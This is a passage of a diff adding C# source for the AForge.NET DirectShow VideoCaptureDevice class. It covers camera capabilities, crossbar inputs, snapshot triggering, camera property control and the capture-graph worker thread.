using . See also + /// method, which provides crossbar configuration dialog. + /// + /// It is recomended not to call this property immediately after method, since + /// device may not start yet and provide its information. It is better to call the property + /// before starting device or a bit after (but not immediately after). + /// + /// + public VideoInput[] AvailableCrossbarVideoInputs + { + get + { + if ( crossbarVideoInputs == null ) + { + lock ( cacheCrossbarVideoInputs ) + { + if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) ) ) + { + crossbarVideoInputs = cacheCrossbarVideoInputs[deviceMoniker]; + } + } + + if ( crossbarVideoInputs == null ) + { + if ( !IsRunning ) + { + // create graph without playing to collect available inputs + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( crossbarVideoInputs == null ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + } + // don't return null even if capabilities are not provided for some reason + return ( crossbarVideoInputs != null ) ? crossbarVideoInputs : new VideoInput[0]; + } + } + + /// + /// Specifies if snapshots should be provided or not. + /// + /// + /// Some USB cameras/devices may have a shutter button, which may result into snapshot if it + /// is pressed. So the property specifies if the video source will try providing snapshots or not - it will + /// check if the camera supports providing still image snapshots. If camera supports snapshots and the property + /// is set to , then snapshots will be provided through + /// event. + /// + /// Check supported sizes of snapshots using property and set the + /// desired size using property. + /// + /// The property must be set before running the video source to take effect. + /// + /// Default value of the property is set to . + /// + /// + public bool ProvideSnapshots + { + get { return provideSnapshots; } + set { provideSnapshots = value; } + } + + /// + /// New frame event. + /// + /// + /// Notifies clients about new available frame from video source. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed video frame, because the video source disposes its + /// own original copy after notifying of clients. + /// + /// + public event NewFrameEventHandler NewFrame; + + /// + /// Snapshot frame event. + /// + /// + /// Notifies clients about new available snapshot frame - the one which comes when + /// camera's snapshot/shutter button is pressed. + /// + /// See documentation to for additional information. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed snapshot frame, because the video source disposes its + /// own original copy after notifying of clients. + /// + /// + /// + /// + public event NewFrameEventHandler SnapshotFrame; + + /// + /// Video source error event. + /// + /// + /// This event is used to notify clients about any type of errors occurred in + /// video source object, for example internal exceptions. + /// + public event VideoSourceErrorEventHandler VideoSourceError; + + /// + /// Video playing finished event. + /// + /// + /// This event is used to notify clients that the video playing has finished. + /// + /// + public event PlayingFinishedEventHandler PlayingFinished; + + /// + /// Video source. + /// + /// + /// Video source is represented by moniker string of video capture device. + /// + public virtual string Source + { + get { return deviceMoniker; } + set + { + deviceMoniker = value; + + videoCapabilities = null; + snapshotCapabilities = null; + crossbarVideoInputs = null; + isCrossbarAvailable = null; + } + } + + /// + /// Received frames count. + /// + /// + /// Number of frames the video source provided from the moment of the last + /// access to the property. + /// + /// + public int FramesReceived + { + get + { + int frames = framesReceived; + framesReceived = 0; + return frames; + } + } + + /// + /// Received bytes count. + /// + /// + /// Number of bytes the video source provided from the moment of the last + /// access to the property. + /// + /// + public long BytesReceived + { + get + { + long bytes = bytesReceived; + bytesReceived = 0; + return bytes; + } + } + + /// + /// State of the video source. + /// + /// + /// Current state of video source object - running or not. + /// + public bool IsRunning + { + get + { + if ( thread != null ) + { + // check thread status + if ( thread.Join( 0 ) == false ) + return true; + + // the thread is not running, free resources + Free( ); + } + return false; + } + } + + /// + /// Obsolete - no longer in use + /// + /// + /// The property is obsolete. Use property instead. + /// Setting this property does not have any effect. + /// + [Obsolete] + public Size DesiredFrameSize + { + get { return Size.Empty; } + set { } + } + + /// + /// Obsolete - no longer in use + /// + /// + /// The property is obsolete. Use property instead. + /// Setting this property does not have any effect. + /// + [Obsolete] + public Size DesiredSnapshotSize + { + get { return Size.Empty; } + set { } + } + + /// + /// Obsolete - no longer in use. + /// + /// + /// The property is obsolete. Setting this property does not have any effect. + /// + [Obsolete] + public int DesiredFrameRate + { + get { return 0; } + set { } + } + + /// + /// Video resolution to set. + /// + /// + /// The property allows to set one of the video resolutions supported by the camera. + /// Use property to get the list of supported video resolutions. + /// + /// The property must be set before camera is started to make any effect. + /// + /// Default value of the property is set to , which means default video + /// resolution is used. + /// + /// + public VideoCapabilities VideoResolution + { + get { return videoResolution; } + set { videoResolution = value; } + } + + /// + /// Snapshot resolution to set. + /// + /// + /// The property allows to set one of the snapshot resolutions supported by the camera. + /// Use property to get the list of supported snapshot resolutions. + /// + /// The property must be set before camera is started to make any effect. + /// + /// Default value of the property is set to , which means default snapshot + /// resolution is used. + /// + /// + public VideoCapabilities SnapshotResolution + { + get { return snapshotResolution; } + set { snapshotResolution = value; } + } + + /// + /// Video capabilities of the device. + /// + /// + /// The property provides list of device's video capabilities. + /// + /// It is recomended not to call this property immediately after method, since + /// device may not start yet and provide its information. It is better to call the property + /// before starting device or a bit after (but not immediately after). + /// + /// + public VideoCapabilities[] VideoCapabilities + { + get + { + if ( videoCapabilities == null ) + { + lock ( cacheVideoCapabilities ) + { + if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheVideoCapabilities.ContainsKey( deviceMoniker ) ) ) + { + videoCapabilities = cacheVideoCapabilities[deviceMoniker]; + } + } + + if ( videoCapabilities == null ) + { + if ( !IsRunning ) + { + // create graph without playing to get the video/snapshot capabilities only. + // not very clean but it works + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( videoCapabilities == null ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + } + // don't return null even capabilities are not provided for some reason + return ( videoCapabilities != null ) ? videoCapabilities : new VideoCapabilities[0]; + } + } + + /// + /// Snapshot capabilities of the device. + /// + /// + /// The property provides list of device's snapshot capabilities. + /// + /// If the array has zero length, then it means that this device does not support making + /// snapshots. + /// + /// See documentation to for additional information. + /// + /// It is recomended not to call this property immediately after method, since + /// device may not start yet and provide its information. It is better to call the property + /// before starting device or a bit after (but not immediately after). + /// + /// + /// + /// + public VideoCapabilities[] SnapshotCapabilities + { + get + { + if ( snapshotCapabilities == null ) + { + lock ( cacheSnapshotCapabilities ) + { + if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) ) + { + snapshotCapabilities = cacheSnapshotCapabilities[deviceMoniker]; + } + } + + if ( snapshotCapabilities == null ) + { + if ( !IsRunning ) + { + // create graph without playing to get the video/snapshot capabilities only. + // not very clean but it works + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( snapshotCapabilities == null ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + } + // don't return null even capabilities are not provided for some reason + return ( snapshotCapabilities != null ) ? snapshotCapabilities : new VideoCapabilities[0]; + } + } + + /// + /// Source COM object of camera capture device. + /// + /// + /// The source COM object of camera capture device is exposed for the + /// case when user may need get direct access to the object for making some custom + /// configuration of camera through DirectShow interface, for example. + /// + /// + /// If camera is not running, the property is set to . + /// + /// + public object SourceObject + { + get { return sourceObject; } + } + + /// + /// Initializes a new instance of the class. + /// + /// + public VideoCaptureDevice( ) { } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Moniker string of video capture device. + /// + public VideoCaptureDevice( string deviceMoniker ) + { + this.deviceMoniker = deviceMoniker; + } + + /// + /// Start video source. + /// + /// + /// Starts video source and return execution to caller. Video source + /// object creates background thread and notifies about new frames with the + /// help of event. + /// + public void Start( ) + { + if ( !IsRunning ) + { + // check source + if ( string.IsNullOrEmpty( deviceMoniker ) ) + throw new ArgumentException( "Video source is not specified." ); + + framesReceived = 0; + bytesReceived = 0; + isCrossbarAvailable = null; + needToSetVideoInput = true; + + // create events + stopEvent = new ManualResetEvent( false ); + + lock ( sync ) + { + // create and start new thread + thread = new Thread( new ThreadStart( WorkerThread ) ); + thread.Name = deviceMoniker; // mainly for debugging + thread.Start( ); + } + } + } + + /// + /// Signal video source to stop its work. + /// + /// + /// Signals video source to stop its background thread, stop to + /// provide new frames and free resources. + /// + public void SignalToStop( ) + { + // stop thread + if ( thread != null ) + { + // signal to stop + stopEvent.Set( ); + } + } + + /// + /// Wait for video source has stopped. + /// + /// + /// Waits for source stopping after it was signalled to stop using + /// method. + /// + public void WaitForStop( ) + { + if ( thread != null ) + { + // wait for thread stop + thread.Join( ); + + Free( ); + } + } + + /// + /// Stop video source. + /// + /// + /// Stops video source aborting its thread. + /// + /// Since the method aborts background thread, its usage is highly not preferred + /// and should be done only if there are no other options. The correct way of stopping camera + /// is signaling it stop and then + /// waiting for background thread's completion. + /// + /// + public void Stop( ) + { + if ( this.IsRunning ) + { + thread.Abort( ); + WaitForStop( ); + } + } + + /// + /// Free resource. + /// + /// + private void Free( ) + { + thread = null; + + // release events + stopEvent.Close( ); + stopEvent = null; + } + + /// + /// Display property window for the video capture device providing its configuration + /// capabilities. + /// + /// + /// Handle of parent window. + /// + /// If you pass parent window's handle to this method, then the + /// displayed property page will become modal window and none of the controls from the + /// parent window will be accessible. In order to make it modeless it is required + /// to pass as parent window's handle. + /// + /// + /// + /// The video source does not support configuration property page. + /// + public void DisplayPropertyPage( IntPtr parentWindow ) + { + // check source + if ( ( deviceMoniker == null ) || ( deviceMoniker == string.Empty ) ) + throw new ArgumentException( "Video source is not specified." ); + + lock ( sync ) + { + if ( IsRunning ) + { + // pass the request to backgroud thread if video source is running + parentWindowForPropertyPage = parentWindow; + needToDisplayPropertyPage = true; + return; + } + + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is ISpecifyPropertyPages ) ) + { + throw new NotSupportedException( "The video source does not support configuration property page." ); + } + + DisplayPropertyPage( parentWindow, tempSourceObject ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + } + + /// + /// Display property page of video crossbar (Analog Video Crossbar filter). + /// + /// + /// Handle of parent window. + /// + /// The Analog Video Crossbar filter is modeled after a general switching matrix, + /// with n inputs and m outputs. For example, a video card might have two external connectors: + /// a coaxial connector for TV, and an S-video input. These would be represented as input pins on + /// the filter. The displayed property page allows to configure the crossbar by selecting input + /// of a video card to use. + /// + /// This method can be invoked only when video source is running ( is + /// ). Otherwise it generates exception. + /// + /// Use method to check if running video source provides + /// crossbar configuration. + /// + /// + /// The video source must be running in order to display crossbar property page. + /// Crossbar configuration is not supported by currently running video source. + /// + public void DisplayCrossbarPropertyPage( IntPtr parentWindow ) + { + lock ( sync ) + { + // wait max 5 seconds till the flag gets initialized + for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ) && ( IsRunning ); i++ ) + { + Thread.Sleep( 10 ); + } + + if ( ( !IsRunning ) || ( !isCrossbarAvailable.HasValue ) ) + { + throw new ApplicationException( "The video source must be running in order to display crossbar property page." ); + } + + if ( !isCrossbarAvailable.Value ) + { + throw new NotSupportedException( "Crossbar configuration is not supported by currently running video source." ); + } + + // pass the request to background thread if video source is running + parentWindowForPropertyPage = parentWindow; + needToDisplayCrossBarPropertyPage = true; + } + } + + /// + /// Check if running video source provides crossbar for configuration. + /// + /// + /// Returns if crossbar configuration is available or + /// otherwise. + /// + /// The method reports if the video source provides crossbar configuration + /// using . + /// + /// + public bool CheckIfCrossbarAvailable( ) + { + lock ( sync ) + { + if ( !isCrossbarAvailable.HasValue ) + { + if ( !IsRunning ) + { + // create graph without playing to collect available inputs + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + + return ( !isCrossbarAvailable.HasValue ) ? false : isCrossbarAvailable.Value; + } + } + + + /// + /// Simulates an external trigger. + /// + /// + /// The method simulates external trigger for video cameras, which support + /// providing still image snapshots. The effect is equivalent as pressing camera's shutter + /// button - a snapshot will be provided through event. + /// + /// The property must be set to + /// to enable receiving snapshots. + /// + /// + public void SimulateTrigger( ) + { + needToSimulateTrigger = true; + } + + /// + /// Sets a specified property on the camera. + /// + /// + /// Specifies the property to set. + /// Specifies the new value of the property. + /// Specifies the desired control setting. + /// + /// Returns true on sucee or false otherwise. + /// + /// Video source is not specified - device moniker is not set. + /// Failed creating device object for moniker. + /// The video source does not support camera control. + /// + public bool SetCameraProperty( CameraControlProperty property, int value, CameraControlFlags controlFlags ) + { + bool ret = true; + + // check if source was set + if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) + { + throw new ArgumentException( "Video source is not specified." ); + } + + lock ( sync ) + { + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is IAMCameraControl ) ) + { + throw new NotSupportedException( "The video source does not support camera control." ); + } + + IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; + int hr = pCamControl.Set( property, value, controlFlags ); + + ret = ( hr >= 0 ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + + return ret; + } + + /// + /// Gets the current setting of a camera property. + /// + /// + /// Specifies the property to retrieve. + /// Receives the value of the property. + /// Receives the value indicating whether the setting is controlled manually or automatically + /// + /// Returns true on sucee or false otherwise. + /// + /// Video source is not specified - device moniker is not set. + /// Failed creating device object for moniker. + /// The video source does not support camera control. + /// + public bool GetCameraProperty( CameraControlProperty property, out int value, out CameraControlFlags controlFlags ) + { + bool ret = true; + + // check if source was set + if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) + { + throw new ArgumentException( "Video source is not specified." ); + } + + lock ( sync ) + { + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is IAMCameraControl ) ) + { + throw new NotSupportedException( "The video source does not support camera control." ); + } + + IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; + int hr = pCamControl.Get( property, out value, out controlFlags ); + + ret = ( hr >= 0 ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + + return ret; + } + + /// + /// Gets the range and default value of a specified camera property. + /// + /// + /// Specifies the property to query. + /// Receives the minimum value of the property. + /// Receives the maximum value of the property. + /// Receives the step size for the property. + /// Receives the default value of the property. + /// Receives a member of the enumeration, indicating whether the property is controlled automatically or manually. + /// + /// Returns true on sucee or false otherwise. + /// + /// Video source is not specified - device moniker is not set. + /// Failed creating device object for moniker. + /// The video source does not support camera control. + /// + public bool GetCameraPropertyRange( CameraControlProperty property, out int minValue, out int maxValue, out int stepSize, out int defaultValue, out CameraControlFlags controlFlags ) + { + bool ret = true; + + // check if source was set + if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) + { + throw new ArgumentException( "Video source is not specified." ); + } + + lock ( sync ) + { + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is IAMCameraControl ) ) + { + throw new NotSupportedException( "The video source does not support camera control." ); + } + + IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; + int hr = pCamControl.GetRange( property, out minValue, out maxValue, out stepSize, out defaultValue, out controlFlags ); + + ret = ( hr >= 0 ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + + return ret; + } + + /// + /// Worker thread. + /// + /// + private void WorkerThread( ) + { + WorkerThread( true ); + } + + private void WorkerThread( bool runGraph ) + { + ReasonToFinishPlaying reasonToStop = ReasonToFinishPlaying.StoppedByUser; + bool isSapshotSupported = false; + + // grabber + Grabber videoGrabber = new Grabber( this, false ); + Grabber snapshotGrabber = new Grabber( this, true ); + + // objects + object captureGraphObject = null; + object graphObject = null; + object videoGrabberObject = null; + object snapshotGrabberObject = null; + object crossbarObject = null; + + // interfaces + ICaptureGraphBuilder2 captureGraph = null; + IFilterGraph2 graph = null; + IBaseFilter sourceBase = null; + IBaseFilter videoGrabberBase = null; + IBaseFilter snapshotGrabberBase = null; + ISampleGrabber videoSampleGrabber = null; + ISampleGrabber snapshotSampleGrabber = null; + IMediaControl mediaControl = null; + IAMVideoControl videoControl = null; + IMediaEventEx mediaEvent = null; + IPin pinStillImage = null; + IAMCrossbar crossbar = null; + + try + { + // get type of capture graph builder + Type type = Type.GetTypeFromCLSID( Clsid.CaptureGraphBuilder2 ); + if ( type == null ) + throw new ApplicationException( "Failed creating capture graph builder" ); + + // create capture graph builder + captureGraphObject = Activator.CreateInstance( type ); + captureGraph = (ICaptureGraphBuilder2) captureGraphObject; + + // get type of filter graph + type = Type.GetTypeFromCLSID( Clsid.FilterGraph ); + if ( type == null ) + throw new ApplicationException( "Failed creating filter graph" ); + + // create filter graph + graphObject = Activator.CreateInstance( type ); + graph = (IFilterGraph2) graphObject; + + // set filter graph to the capture graph builder + captureGraph.SetFiltergraph( (IGraphBuilder) graph ); + + // create source device's object + sourceObject = FilterInfo.CreateFilter( deviceMoniker ); + if ( sourceObject == null ) + throw new ApplicationException( "Failed creating device object for moniker" ); + + // get base filter interface of source device + sourceBase = (IBaseFilter) sourceObject; + + // get video control interface of the device + try + { + videoControl = (IAMVideoControl) sourceObject; + } + catch + { + // some camera drivers may not support IAMVideoControl interface + } + + // get type of sample grabber + type = Type.GetTypeFromCLSID( Clsid.SampleGrabber ); + if ( type == null ) + throw new ApplicationException( "Failed creating sample grabber" ); + + // create sample grabber used for video capture + videoGrabberObject = Activator.CreateInstance( type ); + videoSampleGrabber = (ISampleGrabber) videoGrabberObject; + videoGrabberBase = (IBaseFilter) videoGrabberObject; + // create sample grabber used for snapshot capture + snapshotGrabberObject = Activator.CreateInstance( type ); + snapshotSampleGrabber = (ISampleGrabber) snapshotGrabberObject; + snapshotGrabberBase = (IBaseFilter) snapshotGrabberObject; + + // add source and grabber filters to graph + graph.AddFilter( sourceBase, "source" ); + graph.AddFilter( videoGrabberBase, "grabber_video" ); + graph.AddFilter( snapshotGrabberBase, "grabber_snapshot" ); + + // set media type + AMMediaType mediaType = new AMMediaType( ); + mediaType.MajorType = MediaType.Video; + mediaType.SubType = MediaSubType.RGB24; + + videoSampleGrabber.SetMediaType( mediaType ); + snapshotSampleGrabber.SetMediaType( mediaType ); + + // get crossbar object to to allows configuring pins of capture card + captureGraph.FindInterface( FindDirection.UpstreamOnly, Guid.Empty, sourceBase, typeof( IAMCrossbar ).GUID, out crossbarObject ); + if ( crossbarObject != null ) + { + crossbar = (IAMCrossbar) crossbarObject; + } + isCrossbarAvailable = ( crossbar != null ); + crossbarVideoInputs = ColletCrossbarVideoInputs( crossbar ); + + if ( videoControl != null ) + { + // find Still Image output pin of the vedio device + captureGraph.FindPin( sourceObject, PinDirection.Output, + PinCategory.StillImage, MediaType.Video, false, 0, out pinStillImage ); + // check if it support trigger mode + if ( pinStillImage != null ) + { + VideoControlFlags caps; + videoControl.GetCaps( pinStillImage, out caps ); + isSapshotSupported = ( ( caps & VideoControlFlags.ExternalTriggerEnable ) != 0 ); + } + } + + // configure video sample grabber + videoSampleGrabber.SetBufferSamples( false ); + videoSampleGrabber.SetOneShot( false ); + videoSampleGrabber.SetCallback( videoGrabber, 1 ); + + // configure snapshot sample grabber + snapshotSampleGrabber.SetBufferSamples( true ); + snapshotSampleGrabber.SetOneShot( false ); + snapshotSampleGrabber.SetCallback( snapshotGrabber, 1 ); + + // configure pins + GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase, + PinCategory.Capture, videoResolution, ref videoCapabilities ); + if ( isSapshotSupported ) + { + GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase, + PinCategory.StillImage, snapshotResolution, ref snapshotCapabilities ); + } + else + { + snapshotCapabilities = new VideoCapabilities[0]; + } + + // put video/snapshot capabilities into cache + lock ( cacheVideoCapabilities ) + { + if ( ( videoCapabilities != null ) && ( !cacheVideoCapabilities.ContainsKey( deviceMoniker ) ) ) + { + cacheVideoCapabilities.Add( deviceMoniker, videoCapabilities ); + } + } + lock ( cacheSnapshotCapabilities ) + { + if ( ( snapshotCapabilities != null ) && ( !cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) ) + { + cacheSnapshotCapabilities.Add( deviceMoniker, snapshotCapabilities ); + } + } + + if ( runGraph ) + { + // render capture pin + captureGraph.RenderStream( PinCategory.Capture, MediaType.Video, sourceBase, null, videoGrabberBase ); + + if ( videoSampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) + { + VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); + + videoGrabber.Width = vih.BmiHeader.Width; + videoGrabber.Height = vih.BmiHeader.Height; + + mediaType.Dispose( ); + } + + if ( ( isSapshotSupported ) && ( provideSnapshots ) ) + { + // render snapshot pin + captureGraph.RenderStream( PinCategory.StillImage, MediaType.Video, sourceBase, null, snapshotGrabberBase ); + + if ( snapshotSampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) + { + VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); + + snapshotGrabber.Width = vih.BmiHeader.Width; + snapshotGrabber.Height = vih.BmiHeader.Height; + + mediaType.Dispose( ); + } + } + + // get media control + mediaControl = (IMediaControl) graphObject; + + // get media events' interface + mediaEvent = (IMediaEventEx) graphObject; + IntPtr p1, p2; + DsEvCode code; + + // run + mediaControl.Run( ); + + if ( ( isSapshotSupported ) && ( provideSnapshots ) ) + { + startTime = DateTime.Now; + videoControl.SetMode( pinStillImage, VideoControlFlags.ExternalTriggerEnable ); + } + + do + { + if ( mediaEvent != null ) + { + if ( mediaEvent.GetEvent( out code, out p1, out p2, 0 ) >= 0 ) + { + mediaEvent.FreeEventParams( code, p1, p2 ); + + if ( code == DsEvCode.DeviceLost ) + { + reasonToStop = ReasonToFinishPlaying.DeviceLost; + break; + } + } + } + + if ( needToSetVideoInput ) + { + needToSetVideoInput = false; + // set/check current input type of a video card (frame grabber) + if ( isCrossbarAvailable.Value ) + { + SetCurrentCrossbarInput( crossbar, crossbarVideoInput ); + crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); + } + } + + if ( needToSimulateTrigger ) + { + needToSimulateTrigger = false; + + if ( ( isSapshotSupported ) && ( provideSnapshots ) ) + { + videoControl.SetMode( pinStillImage, VideoControlFlags.Trigger ); + } + } + + if ( needToDisplayPropertyPage ) + { + needToDisplayPropertyPage = false; + DisplayPropertyPage( parentWindowForPropertyPage, sourceObject ); + + if ( crossbar != null ) + { + crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); + } + } + + if ( needToDisplayCrossBarPropertyPage ) + { + needToDisplayCrossBarPropertyPage = false; + + if ( crossbar != null ) + { + DisplayPropertyPage( parentWindowForPropertyPage, crossbar ); + crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); + } + } + } + while ( !stopEvent.WaitOne( 100, false ) ); + + mediaControl.Stop( ); + } + } + catch ( Exception exception ) + { + // provide information to clients + if ( VideoSourceError != null ) + { + VideoSourceError( this, new VideoSourceErrorEventArgs( exception.Message ) ); + } + } + finally + { + // release all objects + captureGraph = null; + graph = null; + sourceBase = null; + mediaControl = null; + videoControl = null; + mediaEvent = null; + pinStillImage = null; + crossbar = null; + + videoGrabberBase = null; + snapshotGrabberBase = null; + videoSampleGrabber = null; + snapshotSampleGrabber = null; + + if ( graphObject != null ) + { + Marshal.ReleaseComObject( graphObject ); + graphObject = null; + } + if ( sourceObject != null ) + { + Marshal.ReleaseComObject( sourceObject ); + sourceObject = null; + } + if ( videoGrabberObject != null ) + { + Marshal.ReleaseComObject( videoGrabberObject ); + videoGrabberObject = null; + } + if ( snapshotGrabberObject != null ) + { + Marshal.ReleaseComObject( snapshotGrabberObject ); + snapshotGrabberObject = null; + } + if ( captureGraphObject != null ) + { + Marshal.ReleaseComObject( captureGraphObject ); + captureGraphObject = null; + } + if ( crossbarObject != null ) + { + Marshal.ReleaseComObject( crossbarObject ); + crossbarObject = null; + } + } + + if ( PlayingFinished != null ) + { + PlayingFinished( this, reasonToStop ); + } + } + + // Set resolution for the specified stream configuration + private void SetResolution( IAMStreamConfig streamConfig, VideoCapabilities resolution ) + { + if ( resolution == null ) + { + return; + } + + // iterate through device's capabilities to find mediaType for desired resolution + int capabilitiesCount = 0, capabilitySize = 0; + AMMediaType newMediaType = null; + VideoStreamConfigCaps caps = new VideoStreamConfigCaps( ); + + streamConfig.GetNumberOfCapabilities( out capabilitiesCount, out capabilitySize ); + + for ( int i = 0; i < capabilitiesCount; i++ ) + { + try + { + VideoCapabilities vc = new VideoCapabilities( streamConfig, i ); + + if ( resolution == vc ) + { + if ( streamConfig.GetStreamCaps( i, out newMediaType, caps ) == 0 ) + { + break; + } + } + } + catch + { + } + } + + // set the new format + if ( newMediaType != null ) + { + streamConfig.SetFormat( newMediaType ); + newMediaType.Dispose( ); + } + } + + // Configure specified pin and collect its capabilities if required + private void GetPinCapabilitiesAndConfigureSizeAndRate( ICaptureGraphBuilder2 graphBuilder, IBaseFilter baseFilter, + Guid pinCategory, VideoCapabilities resolutionToSet, ref VideoCapabilities[] capabilities ) + { + object streamConfigObject; + graphBuilder.FindInterface( pinCategory, MediaType.Video, baseFilter, typeof( IAMStreamConfig ).GUID, out streamConfigObject ); + + if ( streamConfigObject != null ) + { + IAMStreamConfig streamConfig = null; + + try + { + streamConfig = (IAMStreamConfig) streamConfigObject; + } + catch ( InvalidCastException ) + { + } + + if ( streamConfig != null ) + { + if ( capabilities == null ) + { + try + { + // get all video capabilities + capabilities = AForge.Video.DirectShow.VideoCapabilities.FromStreamConfig( streamConfig ); + } + catch + { + } + } + + // check if it is required to change capture settings + if ( resolutionToSet != null ) + { + SetResolution( streamConfig, resolutionToSet ); + } + } + } + + // if failed resolving capabilities, then just create empty capabilities array, + // so we don't try again + if ( capabilities == null ) + { + capabilities = new VideoCapabilities[0]; + } + } + + // Display property page for the specified object + private void DisplayPropertyPage( IntPtr parentWindow, object sourceObject ) + { + try + { + // retrieve ISpecifyPropertyPages interface of the device + ISpecifyPropertyPages pPropPages = (ISpecifyPropertyPages) sourceObject; + + // get property pages from the property bag + CAUUID caGUID; + pPropPages.GetPages( out caGUID ); + + // get filter info + FilterInfo filterInfo = new FilterInfo( deviceMoniker ); + + // create and display the OlePropertyFrame + Win32.OleCreatePropertyFrame( parentWindow, 0, 0, filterInfo.Name, 1, ref sourceObject, caGUID.cElems, caGUID.pElems, 0, 0, IntPtr.Zero ); + + // release COM objects + Marshal.FreeCoTaskMem( caGUID.pElems ); + } + catch + { + } + } + + // Collect all video inputs of the specified crossbar + private VideoInput[] ColletCrossbarVideoInputs( IAMCrossbar crossbar ) + { + lock ( cacheCrossbarVideoInputs ) + { + if ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) ) + { + return cacheCrossbarVideoInputs[deviceMoniker]; + } + + List videoInputsList = new List( ); + + if ( crossbar != null ) + { + int inPinsCount, outPinsCount; + + // gen number of pins in the crossbar + if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) + { + // collect all video inputs + for ( int i = 0; i < inPinsCount; i++ ) + { + int pinIndexRelated; + PhysicalConnectorType type; + + if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( type < PhysicalConnectorType.AudioTuner ) + { + videoInputsList.Add( new VideoInput( i, type ) ); + } + } + } + } + + VideoInput[] videoInputs = new VideoInput[videoInputsList.Count]; + videoInputsList.CopyTo( videoInputs ); + + cacheCrossbarVideoInputs.Add( deviceMoniker, videoInputs ); + + return videoInputs; + } + } + + // Get type of input connected to video output of the crossbar + private VideoInput GetCurrentCrossbarInput( IAMCrossbar crossbar ) + { + VideoInput videoInput = VideoInput.Default; + + int inPinsCount, outPinsCount; + + // gen number of pins in the crossbar + if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) + { + int videoOutputPinIndex = -1; + int pinIndexRelated; + PhysicalConnectorType type; + + // find index of the video output pin + for ( int i = 0; i < outPinsCount; i++ ) + { + if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( type == PhysicalConnectorType.VideoDecoder ) + { + videoOutputPinIndex = i; + break; + } + } + + if ( videoOutputPinIndex != -1 ) + { + int videoInputPinIndex; + + // get index of the input pin connected to the output + if ( crossbar.get_IsRoutedTo( videoOutputPinIndex, out videoInputPinIndex ) == 0 ) + { + PhysicalConnectorType inputType; + + crossbar.get_CrossbarPinInfo( true, videoInputPinIndex, out pinIndexRelated, out inputType ); + + videoInput = new VideoInput( videoInputPinIndex, inputType ); + } + } + } + + return videoInput; + } + + // Set type of input connected to video output of the crossbar + private void SetCurrentCrossbarInput( IAMCrossbar crossbar, VideoInput videoInput ) + { + if ( videoInput.Type != PhysicalConnectorType.Default ) + { + int inPinsCount, outPinsCount; + + // gen number of pins in the crossbar + if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) + { + int videoOutputPinIndex = -1; + int videoInputPinIndex = -1; + int pinIndexRelated; + PhysicalConnectorType type; + + // find index of the video output pin + for ( int i = 0; i < outPinsCount; i++ ) + { + if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( type == PhysicalConnectorType.VideoDecoder ) + { + videoOutputPinIndex = i; + break; + } + } + + // find index of the required input pin + for ( int i = 0; i < inPinsCount; i++ ) + { + if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( ( type == videoInput.Type ) && ( i == videoInput.Index ) ) + { + videoInputPinIndex = i; + break; + } + 